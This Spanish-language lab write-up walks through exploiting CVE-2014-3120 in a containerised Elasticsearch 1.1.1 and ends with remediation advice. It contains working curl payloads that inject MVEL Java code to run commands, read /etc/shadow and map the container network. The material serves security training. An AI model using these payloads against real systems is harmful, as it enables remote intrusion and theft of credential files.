
Empezamos por lo que se está ejecutando en el entorno. Listamos todos los contenedores activos:
docker ps

Resultado: El contenedor p1/lab10:latest está en ejecución y expone 2 puertos externamente:
| Mapeo de puertos | Protocolo |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (requiere verificación) |
0.0.0.0:9300 → 9300/tcp | Desconocido |
Observación inicial: Los puertos 9200 y 9300 son conocidos comúnmente como los puertos por defecto de Elasticsearch. Sin embargo, no podemos concluir basándonos únicamente en los números de puerto: muchos otros servicios pueden enlazarse a cualquier puerto.
⇒ Hacemos curl directamente a cada puerto para verificar qué servicio se está ejecutando realmente.
curl -i http://192.168.3.137:9300/

Análisis de la respuesta:
curl: (52) Empty reply from serverEvaluación: El servidor aceptó la conexión TCP (no hubo rechazo de conexión), pero no respondió mediante el protocolo HTTP. Esto coincide con el comportamiento del protocolo de transporte de Elasticsearch en el puerto 9300: un protocolo binario utilizado para la comunicación entre nodos de un clúster, no HTTP.
⇒ Enfoque: El puerto 9300 utiliza un protocolo binario → no puede explotarse directamente mediante curl/navegador. Pasamos a comprobar el puerto 9200, el puerto de la API REST HTTP.
curl -i http://192.168.3.137:9200/

Análisis de la respuesta:
Evaluación de la superficie de ataque:

⇒ Enfoque: Elasticsearch 1.1.1 habilita Dynamic Scripting por defecto, lo que permite a los clientes enviar scripts (expresiones MVEL) en las consultas de búsqueda para que el servidor las ejecute. Sin un sandbox ni una validación adecuada, un atacante puede inyectar un script malicioso para ejecutar comandos del sistema. Siguiente paso: verificar si Dynamic Scripting está realmente activo en el objetivo.
Elasticsearch admite una función de Scripting que permite a los clientes enviar scripts (expresiones matemáticas o lógicas) dentro de las solicitudes de búsqueda para que el servidor las ejecute al procesar los resultados. En Elasticsearch 1.x, el motor predeterminado de esta función es MVEL (MVFLEX Expression Language).
En versiones de Elasticsearch anteriores a la 1.2, Dynamic Scripting está habilitado por defecto (script.disable_dynamic: false). Esto significa:
script_fields en la API _search.java.lang.Runtime.getRuntime().exec() para ejecutar comandos del sistema.script_fieldsCuando se envía una solicitud de búsqueda con script_fields, Elasticsearch:
_search.script_fields → localiza el script a ejecutar.En Java, la forma más común de ejecutar un comando del sistema es:
Runtime.getRuntime().exec("command");
MVEL, como lenguaje de expresiones con acceso completo a las clases de Java, permite invocar esto directamente:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explicación de cada parte:
⇒ Enfoque: Con Elasticsearch, la salida del RCE se devuelve directamente en la respuesta; no es necesario redirigir a un archivo y volver a leerlo. Esto hace que el exploit sea más limpio y rápido de verificar.
Después de identificar el objetivo como Elasticsearch 1.1.1, el siguiente paso es verificar si Dynamic Scripting está realmente habilitado.
CVE-2014-3120 explota el hecho de que Elasticsearch permite a los clientes enviar scripts dentro de las solicitudes _search. Si el servidor ejecuta el script, un atacante puede reemplazar la expresión inofensiva por un payload que llame al Java Runtime para ejecutar comandos del sistema.
Primero, creamos un documento de prueba para asegurar que la consulta tenga al menos un resultado coincidente. Si ningún documento coincide, script_fields no se evaluará.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
A continuación, actualizamos el índice:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Luego, enviamos una solicitud _search con script_fields que contiene una expresión MVEL inofensiva:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Enviamos el script "1+1" y el servidor devuelve el resultado 2. Esto demuestra que Elasticsearch no solo recibe la solicitud _search, sino que ejecuta el script dinámico en el lado del servidor.
⇒ Dynamic Scripting está activo en el objetivo.
Dado que el objetivo es Elasticsearch 1.1.1, anterior a 1.2, esto coincide con los requisitos de explotación de CVE-2014-3120: Elasticsearch anterior a la versión 1.2 habilita Dynamic Scripting por defecto, lo que permite a un atacante remoto ejecutar expresiones MVEL/código Java mediante una solicitud de búsqueda.
Hemos verificado que script_fields es ejecutado por Elasticsearch en el lado del servidor mediante la expresión inofensiva "1+1", que devolvió [2].
Esto demuestra que el objetivo no solo permite búsquedas estándar, sino que también permite a los clientes enviar un script MVEL para que el servidor lo evalúe durante el procesamiento de _search.
Con CVE-2014-3120, el riesgo crítico radica en que MVEL en Elasticsearch 1.1.1 puede acceder a clases de Java. Por lo tanto, en lugar de enviar una expresión matemática como "1+1", un atacante puede enviar un script que llame al Java Runtime:
Runtime.getRuntime().exec("command")
Esta es la API estándar de Java utilizada para crear un nuevo proceso y ejecutar comandos en el sistema operativo.
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
Payload RCE:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Desglose del payload:
Resultado:
La respuesta devuelve el campo fields.exploit con la salida del comando id:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Análisis:
El payload invocó con éxito Runtime.getRuntime().exec("id") mediante el script MVEL dentro de script_fields. El hecho de que la respuesta devuelva la salida del comando id demuestra que el comando se ejecutó en el lado del servidor.
El resultado uid=0(root) gid=0(root) groups=0(root) indica que el proceso de Elasticsearch dentro del contenedor se está ejecutando con privilegios de root.
Después de confirmar el RCE, se deben verificar los privilegios reales intentando leer archivos sensibles:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Resultado observado:
La respuesta devuelve el contenido del archivo /etc/shadow:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Análisis:
El archivo /etc/shadow es un archivo sensible del sistema en Linux, que normalmente solo puede ser leído por el usuario root o por procesos con privilegios equivalentes. En el paso anterior, el comando id devolvió:
uid=0(root) gid=0(root) groups=0(root)
Este paso lo confirma aún más mediante el comportamiento real: el payload RCE es capaz de leer con éxito /etc/shadow.
⇒ Elasticsearch dentro del contenedor se está ejecutando con privilegios de root.
⇒ El impacto no se limita a la ejecución típica de comandos, sino que es RCE con privilegios de root dentro del contenedor.
Nota: El privilegio root aquí se refiere al root dentro del contenedor Docker. No podemos concluir que el atacante tenga privilegios de root en el host sin evidencia de que el contenedor se esté ejecutando en modo privilegiado, monte el socket de Docker o monte volúmenes sensibles del host.
El RCE está confirmado. Procedemos a recopilar información del sistema para evaluar el alcance.
Después de confirmar el RCE con privilegios de root, ejecutamos el comando ls -la / mediante el payload MVEL para observar el sistema de archivos dentro del objetivo:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Resultado: La respuesta devuelve el contenido del directorio / en el campo rootfs.
Análisis:
El hecho de que la salida de ls -la / aparezca en la respuesta JSON demuestra que el comando se ejecutó en el objetivo mediante RCE. Archivos como docker-entrypoint.sh, el directorio elasticsearch y el enlace simbólico docker-java-home indican que el entorno comprometido es un contenedor que ejecuta Elasticsearch.
⇒ El atacante puede listar el sistema de archivos dentro del contenedor con privilegios de root.
Como el contenedor no tiene el binario /sbin/ifconfig, leemos /proc/net/route directamente. Este archivo no requiere utilidades externas y proporciona la tabla de rutas del contenedor.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Análisis:
Los resultados muestran que el contenedor tiene la interfaz eth0 y se encuentra dentro de la red Docker 172.19.0.0/16. La puerta de enlace predeterminada es 172.19.0.1.
Esto demuestra que el contenedor tiene conectividad de red interna a través del puente Docker. Dado que el atacante ya tiene RCE con privilegios de root dentro del contenedor, teóricamente podría proceder a inspeccionar otros hosts/servicios en la misma red Docker si las políticas de red lo permiten.
Sin embargo, esta salida solo demuestra visibilidad de red a nivel de enrutamiento, no un pivoting exitoso. Concluir un pivoting requiere evidencia adicional, como escanear con éxito otro host, conectarse a un servicio interno u obtener recursos de otra red.
Con base en la evidencia recopilada durante el análisis, el objetivo está ejecutando Elasticsearch 1.1.1 en el puerto 9200. Esta versión es anterior a la 1.2, por lo que se encuentra dentro del alcance afectado por CVE-2014-3120.
La vulnerabilidad se debe a que Elasticsearch habilita Dynamic Scripting por defecto antes de la versión 1.2, lo que permite a los clientes enviar scripts MVEL mediante solicitudes de búsqueda. En este laboratorio, se confirmó que esta función es funcional usando la expresión inofensiva "1+1", que devolvió el resultado [2].
Posteriormente, el payload MVEL invocó:
Runtime.getRuntime().exec("id")
La respuesta devolvió:
uid=0(root) gid=0(root) groups=0(root)
Esto demuestra que un atacante puede ejecutar comandos del sistema a través de Elasticsearch. Además, el payload leyó con éxito /etc/shadow, lo que confirma que el privilegio de ejecución es root dentro del contenedor.
1. Actualizar Elasticsearch a una versión más reciente
Actualice Elasticsearch a la versión >= 1.2.0 (mínimo) o, idealmente, a la versión actualmente soportada (8.x). A partir de la versión 1.2, Dynamic Scripting está deshabilitado por defecto.
2. Deshabilitar Dynamic Scripting inmediatamente (si la actualización no es viable)
Agregue lo siguiente a elasticsearch.yml:
script.disable_dynamic: true
Reinicie Elasticsearch después de realizar este cambio. Esto deshabilita por completo la capacidad de los clientes para enviar scripts dentro de las solicitudes de búsqueda.
3. No exponer la API REST de Elasticsearch a redes no confiables
Elasticsearch no tiene autenticación predeterminada en la versión 1.x. Si debe exponerse, colóquelo detrás de un proxy inverso con autenticación o enlácelo solo a 127.0.0.1.
4. Habilitar autenticación y cifrado
Las versiones modernas de Elasticsearch (7.x+) admiten seguridad integrada (autenticación, TLS). Si se actualiza, habilite las funciones de seguridad:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Restringir el acceso mediante un firewall
Permita únicamente que IPs confiables accedan a los puertos 9200 y 9300. No los exponga a internet ni a toda la red interna.
6. Ejecutar Elasticsearch como un usuario con privilegios reducidos
No ejecute Elasticsearch con el usuario root. Cree un usuario dedicado elasticsearch con privilegios mínimos. Esta es una práctica recomendada oficial:
| Campo | Valor | Significado |
|---|
name | "Rage" | Nombre del nodo de Elasticsearch (nombre aleatorio de personaje de Marvel: comportamiento predeterminado de versiones antiguas de ES) |
version.number | "1.1.1" | Versión extremadamente antigua: publicada en abril de 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Compilada en 2014 |
lucene_version | "4.7" | Lucene 4.7: motor de indexación antiguo |
tagline | "You Know, for Search" | Frase característica de Elasticsearch |
| Parte | Explicación |
|---|
import java.io.* | Importa las clases de E/S de Java |
Runtime.getRuntime() | Obtiene la instancia del runtime de Java |
.exec("id") | Ejecuta el comando de shell id |
.getInputStream() | Obtiene el flujo de salida del proceso |
new Scanner(...).useDelimiter("\\A").next() | Lee toda la salida como una cadena |
| Parte | Propósito |
|---|
"size": 1 | Limita el resultado a 1 documento |
"query" → "match_all" | Coincide con todos los documentos (requiere que exista al menos 1 documento en el índice) |
"script_fields" → "exploit" | Define un campo calculado que ejecuta el script MVEL |
"script": "import java.io.*; ..." | Expresión MVEL que ejecuta el comando id y devuelve la salida |
| Criterio | Evaluación | Detalles |
|---|
| CVE | CVE-2014-3120 | RCE por Dynamic Scripting en Elasticsearch |
| Servicio afectado | Elasticsearch | API REST expuesta en el puerto 9200 |
| Versión | 1.1.1 | Anterior a 1.2, se encuentra dentro de las versiones afectadas |
| Autenticación | No requerida en el laboratorio | La API REST responde directamente, no se requieren credenciales |
| Condiciones de explotación | Dynamic Scripting habilitado | Confirmado por el script "1+1" que devuelve [2] |
| Privilegios obtenidos | root en el contenedor | id devuelve uid=0(root) |
| Impacto | Muy alto | RCE, lectura de archivos sensibles, listado del sistema de archivos, recopilación de detalles de usuario/red |
| Alcance | Contenedor | Aún no hay evidencia de compromiso del host |
| Pivoting | Potencial de verificación adicional | El contenedor tiene una ruta mediante eth0 en la red Docker 172.19.0.0/16 |